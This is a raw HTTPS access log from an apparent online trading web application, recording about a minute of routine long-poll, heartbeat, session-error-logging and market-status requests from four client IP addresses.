[09/Jan/2026:13:55:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938404552 HTTP/1.1" -
[09/Jan/2026:13:55:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938413514 HTTP/1.1" -
[09/Jan/2026:13:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:13:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938407773 HTTP/1.1" -
[09/Jan/2026:13:55:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938425276 HTTP/1.1" -
[09/Jan/2026:13:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938409595 HTTP/1.1" -
[09/Jan/2026:13:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938418590 HTTP/1.1" -
[09/Jan/2026:13:55:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938412843 HTTP/1.1" -
[09/Jan/2026:13:55:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938430305 HTTP/1.1" -
[09/Jan/2026:13:55:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938414745 HTTP/1.1" -
[09/Jan/2026:13:55:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938423685 HTTP/1.1" -
[09/Jan/2026:13:55:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938417915 HTTP/1.1" -
[09/Jan/2026:13:55:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938435334 HTTP/1.1" -
[09/Jan/2026:13:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938419785 HTTP/1.1" -
[09/Jan/2026:13:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938428763 HTTP/1.1" -
[09/Jan/2026:13:55:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938422976 HTTP/1.1" -
[09/Jan/2026:13:55:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938440359 HTTP/1.1" -
[09/Jan/2026:13:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938424925 HTTP/1.1" -
[09/Jan/2026:13:55:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938433791 HTTP/1.1" -
[09/Jan/2026:13:56:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938428010 HTTP/1.1" -
[09/Jan/2026:13:56:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938445391 HTTP/1.1" -
[09/Jan/2026:13:56:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938430054 HTTP/1.1" -
[09/Jan/2026:13:56:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938438891 HTTP/1.1" -
[09/Jan/2026:13:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938433085 HTTP/1.1" -
[09/Jan/2026:13:56:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938450465 HTTP/1.1" -
[09/Jan/2026:13:56:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938435180 HTTP/1.1" -
[09/Jan/2026:13:56:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938443963 HTTP/1.1" -
[09/Jan/2026:13:56:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938438185 HTTP/1.1" -
[09/Jan/2026:13:56:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938455530 HTTP/1.1" -
[09/Jan/2026:13:56:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938440322 HTTP/1.1" -
[09/Jan/2026:13:56:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938449071 HTTP/1.1" -
[09/Jan/2026:13:56:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938460556 HTTP/1.1" -
[09/Jan/2026:13:56:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938443246 HTTP/1.1" -
[09/Jan/2026:13:56:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938445377 HTTP/1.1" -
[09/Jan/2026:13:56:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938454154 HTTP/1.1" -
[09/Jan/2026:13:56:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938465591 HTTP/1.1" -
[09/Jan/2026:13:56:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938448305 HTTP/1.1" -
[09/Jan/2026:13:56:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938450514 HTTP/1.1" -
[09/Jan/2026:13:56:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938459300 HTTP/1.1" -
[09/Jan/2026:13:56:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938453372 HTTP/1.1" -
[09/Jan/2026:13:56:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938470648 HTTP/1.1" -
[09/Jan/2026:13:56:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938455658 HTTP/1.1" -
[09/Jan/2026:13:56:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938464333 HTTP/1.1" -
[09/Jan/2026:13:56:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938458400 HTTP/1.1" -
[09/Jan/2026:13:56:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938475705 HTTP/1.1" -
[09/Jan/2026:13:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938460774 HTTP/1.1" -
[09/Jan/2026:13:56:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938469416 HTTP/1.1" -
[09/Jan/2026:13:56:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938480761 HTTP/1.1" -
[09/Jan/2026:13:56:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938463469 HTTP/1.1" -
[09/Jan/2026:13:56:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938465909 HTTP/1.1" -
[09/Jan/2026:13:56:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938474486 HTTP/1.1" -
[09/Jan/2026:13:56:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938485789 HTTP/1.1" -
[09/Jan/2026:13:56:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938468564 HTTP/1.1" -
[09/Jan/2026:13:56:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938470984 HTTP/1.1" -
[09/Jan/2026:13:56:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938479575 HTTP/1.1" -
[09/Jan/2026:13:56:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938490819 HTTP/1.1" -
[09/Jan/2026:13:56:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938473625 HTTP/1.1" -
